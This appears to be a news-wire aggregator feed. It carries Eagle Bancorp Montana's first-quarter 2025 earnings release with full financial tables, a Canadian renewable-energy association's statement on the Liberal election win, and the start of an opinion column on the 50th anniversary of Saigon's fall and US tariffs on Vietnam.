MIL-OSI: Eagle Bancorp Montana Earns $3.2 Million, or $0.41 per Diluted Share, in the First Quarter of 2025; Declares Quarterly Cash Dividend of $0.1425 Per Share and Renews Stock Repurchase Plan

Source: GlobeNewswire (MIL-OSI)

HELENA, Mont., April 29, 2025 (GLOBE NEWSWIRE) — Eagle Bancorp Montana, Inc. (NASDAQ: EBMT), (the “Company,” “Eagle”), the holding company of Opportunity Bank of Montana (the “Bank”), today reported net income of $3.2 million, or $0.41 per diluted share, in the first quarter of 2025, compared to $3.4 million, or $0.44 per diluted share, in the preceding quarter, and $1.9 million, or $0.24 per diluted share, in the first quarter of 2024.

Eagle’s board of directors declared a quarterly cash dividend of $0.1425 per share on April 24, 2025. The dividend will be payable June 6, 2025, to shareholders of record May 16, 2025. The current dividend represents an annualized yield of 3.43% based on recent market prices.

“We produced solid first quarter 2025 operating results, reflecting quarterly deposit growth, a reduction in operating expenses and net interest margin expansion,” said Laura F. Clark, President and CEO. “We are making progress in building our community bank franchise across the state of Montana, highlighted by a steady core deposit base and a well-balanced loan portfolio. We are one of only three publicly traded financial institutions based in Montana, and while market volatility and interest rate cycles continue to impact the overall economy, we remain well positioned in our markets to continue to grow.”

First Quarter 2025 Highlights (at or for the three-month period ended March 31, 2025, except where noted):

Net income was $3.2 million, or $0.41 per diluted share, in the first quarter of 2025, compared to $3.4 million, or $0.44 per diluted share, in the preceding quarter, and increased 70.7% compared to $1.9 million, or $0.24 per diluted share, in the first quarter a year ago.
Net interest margin (“NIM”) was 3.74% in the first quarter of 2025, a 15-basis point increase compared to 3.59% in the preceding quarter and a 41-basis point increase compared to the first quarter a year ago.
Net interest income, before the provision for credit losses, increased 0.7% to $16.9 million in the first quarter of 2025, compared to $16.8 million in the fourth quarter of 2024, and increased 11.1% compared to $15.2 million in the first quarter of 2024.
Revenues (net interest income before the provision for credit losses, plus noninterest income) decreased 2.1% to $20.9 million in the first quarter of 2025, compared to $21.4 million in the preceding quarter and increased 9.1% compared to $19.2 million in the first quarter a year ago.
Total loans increased 1.7% to $1.52 billion, at March 31, 2025, compared to $1.50 billion a year earlier, and remained unchanged compared to $1.52 billion at December 31, 2024.
Total deposits increased $54.4 million or 3.3% to $1.69 billion at March 31, 2025, compared to a year earlier, and increased $8.7 million or 0.5%, compared to December 31, 2024.
The allowance for credit losses represented 1.10% of portfolio loans and 313.1% of nonperforming loans at March 31, 2025, compared to 1.10% of total portfolio loans and 227.6% of nonperforming loans at March 31, 2024.
The Company paid a quarterly cash dividend in the first quarter of $0.1425 per share on March 7, 2025, to shareholders of record February 14, 2025.

The Company’s available borrowing capacity was approximately $437.4 million at March 31, 2025, compared to $404.0 million at December 31, 2024.

	March 31, 2025				December 31, 2024
(Dollars in thousands)	Borrowings Outstanding		Remaining Borrowing Capacity		Borrowings Outstanding		Remaining Borrowing Capacity
Federal Home Loan Bank advances	$	124,952	$	310,857	$	140,930	$	276,664
Federal Reserve Bank discount window		–		26,509		–		27,349
Correspondent bank lines of credit		–		100,000		–		100,000
Total	$	124,952	$	437,366	$	140,930	$	404,013

Balance Sheet Results

Total assets were $2.09 billion at March 31, 2025, compared to $2.08 billion a year ago, and $2.10 billion three months earlier. The investment securities portfolio totaled $291.7 million at March 31, 2025, compared to $311.2 million a year ago, and $292.6 million at December 31, 2024.

Eagle originated $43.2 million in new residential mortgages during the quarter and sold $42.8 million in residential mortgages, with an average gross margin on sale of mortgage loans of approximately 3.15%. This production compares to residential mortgage originations of $68.1 million in the preceding quarter with sales of $64.0 million and an average gross margin on sale of mortgage loans of approximately 3.18%. Mortgage volumes remain low as rates have continued to be elevated relative to rates on existing mortgages.

Total loans increased $26.1 million, or 1.7%, compared to a year ago, and increased $2.9 million, or 0.2%, from three months earlier. Commercial real estate loans increased 5.3% to $666.3 million at March 31, 2025, compared to $632.5 million a year earlier. Commercial real estate loans were comprised of 71.9% non-owner occupied and 28.1% owner occupied at March 31, 2025. Agricultural and farmland loans increased 10.7% to $284.6 million at March 31, 2025, compared to $257.0 million a year earlier. Residential mortgage loans decreased 4.9% to $149.7 million, compared to $157.4 million a year earlier. Commercial loans increased 1.5% to $139.7 million, compared to $137.6 million a year ago. Commercial construction and development loans decreased 25.5% to $110.1 million, compared to $147.7 million a year ago. Home equity loans increased 11.3% to $100.7 million, residential construction loans increased 1.1% to $45.5 million, and consumer loans decreased 9.1% to $27.0 million, compared to a year ago.

“Our deposit mix has shifted over the last several quarters towards higher yielding deposits due to the higher interest rate environment, a trend that has affected most community banks. However, we have started to experience an ease in deposit pricing following the Fed rate cuts in the second half of 2024, and we anticipate this will continue as CDs continue to reprice,” said Miranda Spaulding, CFO.

Total deposits increased to $1.69 billion at March 31, 2025, compared to $1.64 billion at March 31, 2024, and $1.68 billion at December 31, 2024. Noninterest-bearing checking accounts represented 24.3%, interest-bearing checking accounts represented 12.5%, savings accounts represented 12.6%, money market accounts comprised 23.5% and time certificates of deposit made up 27.1% of the total deposit portfolio at March 31, 2025. Time certificates on deposits include $6.2 million in brokered certificates at March 31, 2025, compared to $50.0 million at March 31, 2024 and no brokered certificates at December 31, 2024. The average cost of total deposits was 1.67% in the first quarter of 2025, compared to 1.71% in the preceding quarter and 1.62% in the first quarter of 2024. The estimated amount of uninsured deposits was approximately $309.0 million, or 18% of total deposits, at March 31, 2025, compared to $323.0 million, or 19% of total deposits, at December 31, 2024.

FHLB advances and other borrowings decreased to $125.0 million at March 31, 2025, compared to $177.5 million at March 31, 2024, and $140.9 million at December 31, 2024. The average cost of FHLB advances and other borrowings was 4.75% in the first quarter of 2025, compared to 5.02% in the preceding quarter and 5.53% in the first quarter of 2024.
Shareholders’ equity was $177.6 million at March 31, 2025, compared to $168.9 million a year earlier and $174.8 million three months earlier. Book value per share increased to $22.26 at March 31, 2025, compared to $21.07 a year earlier and $21.77 three months earlier. Tangible book value per share, a non-GAAP financial measure calculated by dividing shareholders’ equity, less goodwill and core deposit intangible, by common shares outstanding, increased to $17.38 at March 31, 2025, compared to $16.05 a year earlier and $16.88 three months earlier.

Operating Results

“As anticipated, the higher yields on interest earning assets combined with a lower cost of funds contributed to our 15-basis point NIM expansion during the quarter, compared to the preceding quarter,” said Spaulding. “We anticipate continued improvement in our cost of funds based on current Fed rates.”

Eagle’s NIM was 3.74% in the first quarter of 2025, a 15-basis point increase compared to 3.59% in the preceding quarter and a 41-basis point improvement compared to the first quarter a year ago. The interest accretion on acquired loans totaled $172,000 and resulted in a four basis-point increase in the NIM during the first quarter of 2025, compared to $161,000 and a four basis-point increase in the NIM during the preceding quarter. Average yields on interest earning assets for the first quarter of 2025 increased to 5.76%, compared to 5.70% in the fourth quarter of 2025 and 5.47% in the first quarter a year ago. Funding costs for the first quarter of 2025 were 2.54%, compared to 2.69% in the fourth quarter of 2024 and 2.67% in the first quarter of 2024.

Net interest income, before the provision for credit losses, increased 0.7% to $16.9 million in the first quarter of 2025, compared to $16.8 million in the fourth quarter of 2024, and increased 11.1% compared to $15.2 million in the first quarter of 2024.

Total noninterest income decreased 12.2% to $4.0 million in the first quarter of 2025, compared to $4.6 million in the preceding quarter, and unchanged compared to $4.0 million in the first quarter a year ago. Net mortgage banking income, the largest component of noninterest income, totaled $2.1 million in the first quarter of 2025, compared to $2.8 million in the preceding quarter and $2.2 million in the first quarter a year ago. This decrease compared to the preceding quarter was largely driven by a decline in net gain on sale of mortgage loans, which was impacted by lower mortgage loan volumes.

Eagle’s first quarter noninterest expense was $17.0 million, a decrease of 3.9% compared to $17.7 million in the preceding quarter and unchanged compared to $17.0 million in the first quarter a year ago. Contract changes led to lower data processing expense, which contributed to the quarter-over-quarter decrease.

For the first quarter of 2025, the Company recorded income tax expense of $631,000. This compared to income tax expense of $269,000 in the preceding quarter and $370,000 in the first quarter of 2024. The effective tax rate for the first quarter of 2025 was 16.3%, which was unchanged compared to 16.3% for the first quarter of 2024. The preceding quarter’s effective tax rate was 7.3%. The effective tax rate has been impacted by an increase in the proportion of tax-exempt income compared to pretax earnings, as well as tax credits from investments in low-income housing tax credit projects.

Credit Quality

During the first quarter of 2025, Eagle recorded a $42,000 provision for credit losses. This compared to a $36,000 recapture in the provision for credit losses in the preceding quarter and a $135,000 recapture in the provision for credit losses in the first quarter a year ago. The allowance for credit losses represented 313.1% of nonperforming loans at March 31, 2025, compared to 437.7% three months earlier and 227.6% a year earlier. Nonperforming loans were $5.3 million at March 31, 2025, $3.9 million at December 31, 2024, and $7.2 million a year earlier. Net loan charge-offs totaled $2,000 in the first quarter of 2025, compared to net loan charge-offs of $44,000 in the preceding quarter and net loan recoveries of $65,000 in the first quarter a year ago. The allowance for credit losses was $16.7 million, or 1.10% of total loans, at March 31, 2025, compared to $16.9 million, or 1.11% of total loans, at December 31, 2024, and $16.4 million, or 1.10% of total loans, a year ago.

Capital Management

The ratio of tangible common shareholders’ equity (shareholders’ equity, less goodwill and core deposit intangible) to tangible assets (total assets, less goodwill and core deposit intangible) was 6.77% at March 31, 2025, up from 6.32% a year ago and 6.57% three months earlier. This ratio is a non-GAAP financial measure. For the most comparable GAAP financial measure, see “Reconciliation of Non-GAAP Financial Measures” below. As of March 31, 2025, the Bank’s regulatory capital was in excess of all applicable regulatory requirements and is deemed well capitalized. The Bank’s Tier 1 capital to adjusted total average assets was 10.29% as of March 31, 2025.

Stock Repurchase Authority

Eagle announced that its Board of Directors has authorized the repurchase of up to 400,000 shares of its common stock beginning May 1, 2025, representing approximately 5.0% of outstanding shares. Under the plan, shares may be purchased by the Company on the open market or in privately negotiated transactions. The extent to which the Company repurchases its shares and the timing of such repurchase will depend upon market conditions and other corporate considerations. The plan is expected to be in place for approximately 12 months, but may be suspended, terminated or modified by the Company’s Board of Directors at any time. The plan does not obligate the Company to purchase any particular number of shares.

About the Company

Eagle Bancorp Montana, Inc. is a bank holding company headquartered in Helena, Montana, and is the holding company of Opportunity Bank of Montana, a community bank established in 1922 that serves consumers and small businesses in Montana through 30 banking offices. Additional information is available on the Bank’s website at www.opportunitybank.com. The shares of Eagle Bancorp Montana, Inc. are traded on the NASDAQ Global Market under the symbol “EBMT.”

Forward Looking Statements

This release may contain certain “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, and may be identified by the use of such words as “believe,” “will” “expect,” “anticipate,” “should,” “planned,” “estimated,” and “potential.” These forward-looking statements include, but are not limited to statements of our goals, intentions, expectations and anticipations; statements regarding our business plans, prospects, mergers, growth and operating strategies; statements regarding the asset quality of our loan and investment portfolios; and estimates of our risks and future costs and benefits. These forward-looking statements are based on current beliefs and expectations of our management and are inherently subject to significant business, economic and competitive uncertainties and contingencies, many of which are beyond our control. In addition, these forward-looking statements are subject to assumptions with respect to future business strategies and decisions that are subject to change. These factors include, but are not limited to, changes in laws or government regulations or policies affecting financial institutions, including changes in regulatory fees and capital requirements; general economic conditions and political events, either nationally or in our market areas, that are worse than expected; the emergence or continuation of widespread health emergencies or pandemics, including but not limited to vaccine efficacy and immunization rates, new variants, steps taken by governmental and other authorities to contain, mitigate and combat the pandemic, adverse effects on our employees, customers and third-party service providers, the increase in cyberattacks in the current work-from-home environment; the impact of volatility in the U.S. banking industry, including the associated impact of any regulatory changes or other mitigation efforts taken by governmental agencies in response thereto; the impact of any new regulatory, policy or enforcement developments resulting from the change in U.S. presidential administration, including the implantation of tariffs and other protectionist trade policies; the possibility that future credit losses may be higher than currently expected due to changes in economic assumptions, customer behavior, adverse developments with respect to U.S. economic conditions and other uncertainties, including the impact of supply chain disruptions, inflationary pressures and labor shortages on economic conditions and our business; an inability to access capital markets or maintain deposits or borrowing costs; competition among banks, financial holding companies and other traditional and non-traditional financial service providers; loan demand or residential and commercial real estate values in Montana; the concentration of our business in Montana; our ability to continue to increase and manage our commercial real estate, commercial business and agricultural loans; the costs and effects of legal, compliance and regulatory actions, changes and developments, including the initiation and resolution of legal proceedings (including any securities, bank operations, consumer or employee litigation); inflation and changes in the interest rate environment that reduce our margins or reduce the fair value of financial instruments; adverse changes in the securities markets that lead to impairment in the value of our investment securities and goodwill; other economic, governmental, competitive, regulatory and technological factors that may affect our operations; our ability to implement new technologies and maintain secure and reliable technology systems including those that involve the Bank’s third-party vendors and service providers; cyber incidents, or theft or loss of Company or customer data or money; the effects of any U.S. federal government shutdown, or closures or significant staff reductions in agencies regulating our business; our ability to navigate differing social, environmental, and sustainability concerns among governmental administrations, our stakeholders and other activists that may arise from our business activities; the effect of our recent or future acquisitions, including the failure to achieve expected revenue growth and/or expense savings, the failure to effectively integrate their operations, the outcome of any legal proceedings and the diversion of management time on issues related to the integration.

Because of these and other uncertainties, our actual future results may be materially different from the results indicated by these forward-looking statements. All information set forth in this press release is current as of the date of this release and the company undertakes no duty or obligation to update this information.

Use of Non-GAAP Financial Measures

In addition to results presented in accordance with generally accepted accounting principles utilized in the United States, or GAAP, in this release, including the Financial Ratios and Other Data contains non-GAAP financial measures. Non-GAAP financial measures include: 1) core efficiency ratio, 2) tangible book value per share and 3) tangible common equity to tangible assets. The Company uses these non-GAAP financial measures to provide meaningful supplemental information regarding the Company’s operational performance, performance trends and financial condition, and to enhance investors’ overall understanding of such financial performance. In particular, the use of tangible book value per share and tangible common equity to tangible assets is prevalent among banking regulators, investors and analysts.

The numerator for the core efficiency ratio is calculated by subtracting acquisition costs and intangible asset amortization from noninterest expense. Tangible assets and tangible common shareholders’ equity are calculated by excluding intangible assets from assets and shareholders’ equity, respectively. For these financial measures, our intangible assets consist of goodwill and core deposit intangible. Tangible book value per share is calculated by dividing tangible common shareholders’ equity by the number of common shares outstanding. We believe that this measure is consistent with the capital treatment by our bank regulatory agencies, which exclude intangible assets from the calculation of risk-based capital ratios and present this measure to facilitate the comparison of the quality and composition of our capital over time and in comparison, to our competitors.

Non-GAAP financial measures have inherent limitations, are not required to be uniformly applied, and are not audited. Because non-GAAP financial measures are not standardized, it may not be possible to compare these financial measures with other companies’ non-GAAP financial measures having the same or similar names. Further, the non-GAAP financial measure of tangible book value per share should not be considered in isolation or as a substitute for book value per share or total shareholders’ equity determined in accordance with GAAP, and may not be comparable to a similarly titled measure reported by other companies. Eagle strongly encourages investors to review its consolidated financial statements in their entirety and not to rely on any single financial measure. Reconciliation of the GAAP and non-GAAP financial measures are presented below.

Balance Sheet
(Dollars in thousands, except per share data)						(Unaudited)
			March 31,			December 31,			March 31,
			2025			2024			2024

Assets:
	Cash and due from banks		$	21,360		$	29,824		$	19,479
	Interest bearing deposits in banks			1,445			1,735			1,438
		Total cash and cash equivalents		22,805			31,559			20,917
	Securities available-for-sale, at fair value			291,661			292,590			311,227
	Federal Home Loan Bank (“FHLB”) stock			7,101			7,778			8,449
	Federal Reserve Bank (“FRB”) stock			4,131			4,131			4,131
	Mortgage loans held-for-sale, at fair value			6,223			13,368			9,612
	Loans:
	Real estate loans:
	Residential 1-4 family			149,699			153,721			157,414
	Residential 1-4 family construction			45,508			45,701			45,026
	Commercial real estate			666,265			645,962			632,452
	Commercial construction and development			110,107			124,211			147,740
	Farmland			153,456			146,610			140,246
	Other loans:
	Home equity			100,665			97,543			90,418
	Consumer			26,978			28,513			29,677
	Commercial			139,668			144,039			137,640
	Agricultural			131,162			134,346			116,775
		Total loans		1,523,508			1,520,646			1,497,388
	Allowance for credit losses			(16,720	)		(16,850	)		(16,410	)
		Net loans		1,506,788			1,503,796			1,480,978
	Accrued interest and dividends receivable			13,271			12,890			12,038
	Mortgage servicing rights, net			15,282			15,376			15,738
	Assets held-for-sale, at cost			960			960			–
	Premises and equipment, net			101,759			101,540			97,643
	Cash surrender value of life insurance, net			53,573			53,232			48,218
	Goodwill			34,740			34,740			34,740
	Core deposit intangible, net			4,181			4,499			5,514
	Other assets			25,941			26,631			26,869
		Total assets	$	2,088,416		$	2,103,090		$	2,076,074

Liabilities:
	Deposit accounts:
	Noninterest bearing		$	411,272		$	419,211		$	408,781
	Interest bearing			1,278,694			1,262,017			1,226,818
		Total deposits		1,689,966			1,681,228			1,635,599
	Accrued expenses and other liabilities			36,739			47,018			34,950
	FHLB advances and other borrowings			124,952			140,930			177,540
	Other long-term debt, net			59,186			59,149			59,037
		Total liabilities		1,910,843			1,928,325			1,907,126

Shareholders’ Equity:
	Preferred stock (par value $0.01 per share; 1,000,000 shares
	authorized; no shares issued or outstanding)			–			–			–
	Common stock (par value $0.01; 20,000,000 shares authorized;
	8,507,429 shares issued; 7,977,177, 8,027,177 and 8,016,784
	shares outstanding at March 31, 2025, December 31, 2024, and
	March 31, 2024, respectively			85			85			85
	Additional paid-in capital			108,451			108,334			108,893
	Unallocated common stock held by Employee Stock Ownership Plan			(3,867	)		(4,011	)		(4,440	)
	Treasury stock, at cost (530,252, 480,252 and 490,645 shares at
	March 31, 2025, December 31, 2024 and March 31, 2024, respectively)			(11,517	)		(10,761	)		(11,124	)
	Retained earnings			103,366			101,264			96,797
	Accumulated other comprehensive loss, net of tax			(18,945	)		(20,146	)		(21,263	)
		Total shareholders’ equity		177,573			174,765			168,948
		Total liabilities and shareholders’ equity	$	2,088,416		$	2,103,090		$	2,076,074

Income Statement					(Unaudited)
(Dollars in thousands, except per share data)			Three Months Ended
			March 31,		December 31,			March 31,
			2025		2024			2024
Interest and dividend income:
	Interest and fees on loans		$	23,320	$	23,756		$	21,942
	Securities available-for-sale			2,451		2,475			2,724
	FRB and FHLB dividends			260		308			247
	Other interest income			38		148			29
		Total interest and dividend income		26,069		26,687			24,942
Interest expense:
	Interest expense on deposits			6,871		7,216			6,548
	FHLB advances and other borrowings			1,626		2,005			2,497
	Other long-term debt			670		676			683
		Total interest expense		9,167		9,897			9,728
Net interest income				16,902		16,790			15,214
Provision (recapture) for credit losses				42		(36	)		(135	)
		Net interest income after provision for credit losses		16,860		16,826			15,349

Noninterest income:
	Service charges on deposit accounts			389		387			400
	Mortgage banking, net			2,125		2,818			2,177
	Interchange and ATM fees			593		675			563
	Appreciation in cash surrender value of life insurance			350		408			288
	Net loss on sale of available-for-sale securities			–		(141	)		–
	Other noninterest income			559		425			524
		Total noninterest income		4,016		4,572			3,952

Noninterest expense:
	Salaries and employee benefits			9,664		9,830			9,718
	Occupancy and equipment expense			2,302		2,194			2,099
	Data processing			1,330		1,715			1,525
	Software subscriptions			658		576			528
	Advertising			232		466			253
	Amortization			320		337			369
	Loan costs			372		372			398
	FDIC insurance premiums			231		287			299
	Professional and examination fees			520		596			484
	Other noninterest expense			1,377		1,323			1,360
		Total noninterest expense		17,006		17,696			17,033

Income before provision for income taxes				3,870		3,702			2,268
Provision for income taxes				631		269			370
Net income			$	3,239	$	3,433		$	1,898

Basic earnings per common share			$	0.41	$	0.44		$	0.24
Diluted earnings per common share			$	0.41	$	0.44		$	0.24

Basic weighted average shares outstanding				7,812,248		7,862,279			7,824,928

Diluted weighted average shares outstanding				7,823,636		7,868,507			7,835,304

ADDITIONAL FINANCIAL INFORMATION						(Unaudited)
(Dollars in thousands, except per share data)			Three Months Ended or Years Ended
			March 31,			December 31,			March 31
			2025			2024			2024

Mortgage Banking Activity (For the quarter):
	Net gain on sale of mortgage loans		$	1,349		$	2,036		$	1,414
	Net change in fair value of loans held-for-sale and derivatives			(115	)		(3	)		(173	)
	Mortgage servicing income, net			891			785			936
		Mortgage banking, net	$	2,125		$	2,818		$	2,177

Performance Ratios (For the quarter):
	Return on average assets			0.62	%		0.65	%		0.37	%
	Return on average equity			7.66	%		8.12	%		4.67	%
	Yield on average interest earning assets			5.76	%		5.70	%		5.47	%
	Cost of funds			2.54	%		2.69	%		2.67	%
	Net interest margin			3.74	%		3.59	%		3.33	%
	Core efficiency ratio*			79.77	%		81.26	%		86.95	%

Asset Quality Ratios and Data:			As of or for the Three Months Ended
			March 31,			December 31,			March 31,
			2025			2024			2024

	Nonaccrual loans		$	2,701		$	3,227		$	5,231
	Loans 90 days past due and still accruing			2,638			623			1,979
		Total nonperforming loans		5,339			3,850			7,210
	Other real estate owned and other repossessed assets			46			45			–
		Total nonperforming assets	$	5,385		$	3,895		$	7,210

	Nonperforming loans / portfolio loans			0.35	%		0.25	%		0.48	%
	Nonperforming assets / assets			0.26	%		0.19	%		0.35	%
	Allowance for credit losses / portfolio loans			1.10	%		1.11	%		1.10	%
	Allowance for credit losses/ nonperforming loans			313.17	%		437.66	%		227.60	%
	Gross loan charge-offs for the quarter		$	6		$	51		$	1
	Gross loan recoveries for the quarter		$	4		$	7		$	66
	Net loan charge-offs (recoveries) for the quarter		$	2		$	44		$	(65	)


			March 31,			December 31,			March 31,
			2025			2024			2024
Capital Data (At quarter end):
	Common shareholders’ equity (book value) per share		$	22.26		$	21.77		$	21.07
	Tangible book value per share**		$	17.38		$	16.88		$	16.05
	Shares outstanding			7,977,177			8,027,177			8,016,784
	Tangible common equity to tangible assets***			6.77	%		6.57	%		6.32	%

Other Information:
	Average investment securities for the quarter		$	293,273		$	300,088		$	314,129
	Average investment securities year-to-date		$	293,273		$	306,538		$	314,129
	Average loans for the quarter ****		$	1,526,774		$	1,533,686		$	1,499,293
	Average loans year-to-date ****		$	1,526,774		$	1,523,384		$	1,499,293
	Average earning assets for the quarter		$	1,835,210		$	1,858,078		$	1,830,316
	Average earning assets year-to-date		$	1,835,210		$	1,850,120		$	1,830,316
	Average total assets for the quarter		$	2,079,142		$	2,107,357		$	2,066,579
	Average total assets year-to-date		$	2,079,142		$	2,092,051		$	2,066,579
	Average deposits for the quarter		$	1,671,349		$	1,671,653		$	1,625,770
	Average deposits year-to-date		$	1,671,349		$	1,636,390		$	1,625,770
	Average equity for the quarter		$	169,088		$	169,054		$	162,637
	Average equity year-to-date		$	169,088		$	164,591		$	162,637

* The core efficiency ratio is a non-GAAP ratio that is calculated by dividing non-interest expense, exclusive of acquisition
costs and intangible asset amortization, by the sum of net interest income and non-interest income.
** The tangible book value per share is a non-GAAP ratio that is calculated by dividing shareholders’ equity,
less goodwill and core deposit intangible, by common shares outstanding.
*** The tangible common equity to tangible assets is a non-GAAP ratio that is calculated by dividing shareholders’
equity, less goodwill and core deposit intangible, by total assets, less goodwill and core deposit intangible.
**** Includes loans held for sale

Reconciliation of Non-GAAP Financial Measures

Core Efficiency Ratio			(Unaudited)
(Dollars in thousands)			Three Months Ended
			March 31,			December 31,			March 31,
			2025			2024			2024
Calculation of Efficiency Ratio:
	Noninterest expense – efficiency ratio numerator		$	17,006		$	17,696		$	17,033

	Net interest income			16,902			16,790			15,214
	Noninterest income			4,016			4,572			3,952
		Efficiency ratio denominator		20,918			21,362			19,166

	Efficiency ratio (GAAP)			81.30	%		82.84	%		88.87	%

Calculation of Core Efficiency Ratio:
	Noninterest expense		$	17,006		$	17,696		$	17,033
	Intangible asset amortization			(320	)		(337	)		(369	)
		Core efficiency ratio numerator		16,686			17,359			16,664

	Net interest income			16,902			16,790			15,214
	Noninterest income			4,016			4,572			3,952
		Core efficiency ratio denominator		20,918			21,362			19,166

	Core efficiency ratio (non-GAAP)			79.77	%		81.26	%		86.95	%

Tangible Book Value and Tangible Assets			(Unaudited)
(Dollars in thousands, except per share data)			March 31,			December 31,			March 31,
			2025			2024			2024
Tangible Book Value:
	Shareholders’ equity		$	177,573		$	174,765		$	168,948
	Goodwill and core deposit intangible, net			(38,921	)		(39,239	)	$	(40,254	)
		Tangible common shareholders’ equity (non-GAAP)	$	138,652		$	135,526		$	128,694

	Common shares outstanding at end of period			7,977,177			8,027,177			8,016,784

	Common shareholders’ equity (book value) per share (GAAP)		$	22.26		$	21.77		$	21.07

	Tangible common shareholders’ equity (tangible book value)
		per share (non-GAAP)	$	17.38		$	16.88		$	16.05

Tangible Assets:
	Total assets		$	2,088,416		$	2,103,090		$	2,076,074
	Goodwill and core deposit intangible, net			(38,921	)		(39,239	)		(40,254	)
		Tangible assets (non-GAAP)	$	2,049,495		$	2,063,851		$	2,035,820

	Tangible common shareholders’ equity to tangible assets
		(non-GAAP)		6.77	%		6.57	%		6.32	%

Contacts:

Laura F. Clark, President and CEO
(406) 457-4007
Miranda J. Spaulding, SVP and CFO
(406) 441-5010

The MIL Network –

April 30, 2025

MIL-OSI Economics: STATEMENT: CanREA congratulates the Liberal Party of Canada for their re-election

Source: – Press Release/Statement:

Headline: STATEMENT: CanREA congratulates the Liberal Party of Canada for their re-election

CanREA eager to resume positive work with the federal government to advance wind energy, solar energy and energy storage initiatives nationwide.

Ottawa, Ontario, April 29, 2025—The Canadian Renewable Energy Association (CanREA) congratulates Prime Minister Mark Carney and the Liberal Party of Canada for their election today, forming a minority government. At press time, votes were still being counted with many ridings too close to call.

“CanREA looks forward to strengthening our collaboration with the Canadian government to advance clean-energy initiatives nationwide. Expanding investments in wind, solar, and energy storage technologies is essential for safeguarding Canada’s economic sovereignty while delivering affordable, reliable and clean energy solutions. The urgency to act has never been greater,” said Vittoria Bellissimo, CanREA’s President and CEO.

During the campaign, Mr. Carney and the Liberal Party committed to a suite of proposals that support the rapid deployment of clean energy. These include:

Finalizing the Clean Economy Investment Tax Credits (ITCs), policies that have already galvanized private sector investment in Canada’s renewable energy and energy storage industry. Getting the remaining ITCs passed into law, particularly the Clean Electricity ITC, will secure Canada’s position as a competitive and safe place for the private sector to invest. These will also help lower the cost of electricity to Canadian ratepayers.
Reducing the barriers that Indigenous companies and communities face when it comes to accessing capital, by expanding the kinds of projects the Canada Infrastructure Bank can support to be more in line with First Nation, Inuit and Métis priorities. The Liberals also committed to exploring options for an Indigenous Infrastructure Bank to further address this gap.
Offering support for Canadians entering the trades, while also helping to reduce barriers that these skilled workers face when working in another province.
Creating a new First and Last Mile Fund that will move more electricity and goods from where they are produced to where they are needed, creating a more integrated and accessible Canadian economy.
Signing new Cooperation and Substitution Agreements with all willing provinces, territories, and Indigenous Governing Bodies within six months, ensuring that projects go through only one review that upholds environmental standards and Indigenous consultation.
Cementing the signal for electrification by maintaining the industrial carbon price. During his leadership campaign, Mr. Carney even promised to set a pricing schedule out to 2035—this would be a strong signal upon which Canada’s renewable energy and energy storage industry could rely.
“We are ready to work with all 343 MPs to deliver on legislation that will accelerate the development of the new renewable energy and energy storage projects Canada needs to meet its economic and environmental goals,” said Fernando Melo, CanREA’s Federal Director.

“CanREA will continue to champion the speedy introduction of legislation that will enable the Clean Electricity ITC and other tools to improve Indigenous communities’ and companies’ access to capital. We are also committed to working with the new Liberal government to secure Canada’s clean-energy supply chains during this period of uncertainty,” said Melo.

Quotes

“CanREA looks forward to strengthening our collaboration with the Canadian government to advance clean-energy initiatives nationwide. Expanding investments in wind, solar, and energy storage technologies is essential for safeguarding Canada’s economic sovereignty while delivering affordable, reliable and clean energy solutions. The urgency to act has never been greater.”

—Vittoria Bellissimo, President and CEO, Canadian Renewable Energy Association (CanREA)

“We are ready to work with all 343 MPs to deliver on legislation that will accelerate the development of the new renewable energy and energy storage projects Canada needs to meet its economic and environmental goals. CanREA will continue to champion the speedy introduction of legislation that will enable the Clean Electricity ITC and other tools to improve Indigenous communities’ and companies’ access to capital. We are also committed to working with the new Liberal government to secure Canada’s clean-energy supply chains during this period of uncertainty.”

—Fernando Melo, Federal Director, Canadian Renewable Energy Association (CanREA)

For media interview opportunities, please contact:

Bridget Wayland, Senior Director of CommunicationsCanadian Renewable Energy Associationcommunications@renewablesassociation.ca

About CanREA

The Canadian Renewable Energy Association (CanREA) is the voice for wind energy, solar energy and energy storage solutions that will power Canada’s energy future. We work to create the conditions for a modern energy system through stakeholder advocacy and public engagement. Our diverse members are uniquely positioned to deliver clean, low-cost, reliable, flexible and scalable solutions for Canada’s energy needs. For more information on how Canada can use wind energy, solar energy and energy storage to help achieve its net-zero commitments, consult “Powering Canada’s Journey to Net-Zero: CanREA’s 2050 Vision.” Follow us on X and LinkedIn. Subscribe to our newsletter here. Become a member here. Learn more at renewablesassociation.ca.
The post STATEMENT: CanREA congratulates the Liberal Party of Canada for their re-election appeared first on Canadian Renewable Energy Association.

MIL OSI Economics –

April 30, 2025

MIL-Evening Report: 50 years after the ‘fall’ of Saigon – from triumph to Trump

30 April 1975. Saigon Fell, Vietnam Rose. The story of Vietnam after the US fled the country is not a fairy tale, it is not a one-dimensional parable of resurrection, of liberation from oppression, of joy for all — but there is a great deal to celebrate.

After over a century of brutal colonial oppression by the French, the Japanese, and the Americans and their various minions, the people of Vietnam won victory in one of the great liberation struggles of history.

It became a source of inspiration and of hope for millions of people oppressed by imperial powers in Central & South America, Asia, Africa, the Middle East and Eastern Europe.

Civil war – a war among several
The civil war in Vietnam, coterminous with the war against the Western powers, pitted communists and anti-communists in a long and pitiless struggle.

Within that were various strands — North versus South, southern communists and nationalists against pro-Western forces, and so on. As various political economists have pointed out, all wars are in some way class wars too — pitting the elites against ordinary people.

As has happened repeatedly throughout history, once one or more great power becomes involved in a civil war it is subsumed within that colonial war. The South’s President Ngô Đình Diệm, for example, was assassinated on orders of the Americans.

By 1969, US aid accounted for 80 percent of South Vietnam’s government budget; they effectively owned the South and literally called the shots.

Donald Trump declared April 2 “Liberation Day” and imposed some of the heaviest tariffs on Vietnam because they didn’t buy enough U.S. goods! Image: www.solidarity.co.nz

US punishes its victims
This month, 50 years after the Vietnamese achieved independence from their colonial overlords, US President Donald Trump declared April 2 “Liberation Day” and imposed some of the heaviest tariffs on Vietnam because they didn’t buy enough US goods!

As economist Joseph Stiglitz pointed out, they don’t yet have enough aggregate demand for the kind of goods the US produces. That might have something to do with the decades it has taken to rebuild their lives and economy from the Armageddon inflicted on them by the US, Australia, New Zealand and other unindicted war criminals.

Straight after they fled, the US declared themselves the victims of the Vietnamese and imposed punitive sanctions on liberated Vietnam for decades — punishing their victims.

Under Gerald Ford (1974–1977), Jimmy Carter (1977–1981), Ronald Reagan (1981–1989), George H.W. Bush (1989–1993) right up to Bill Clinton (1993–2001), the US enforced the Trading with the Enemy Act (TWEA) of 1917.

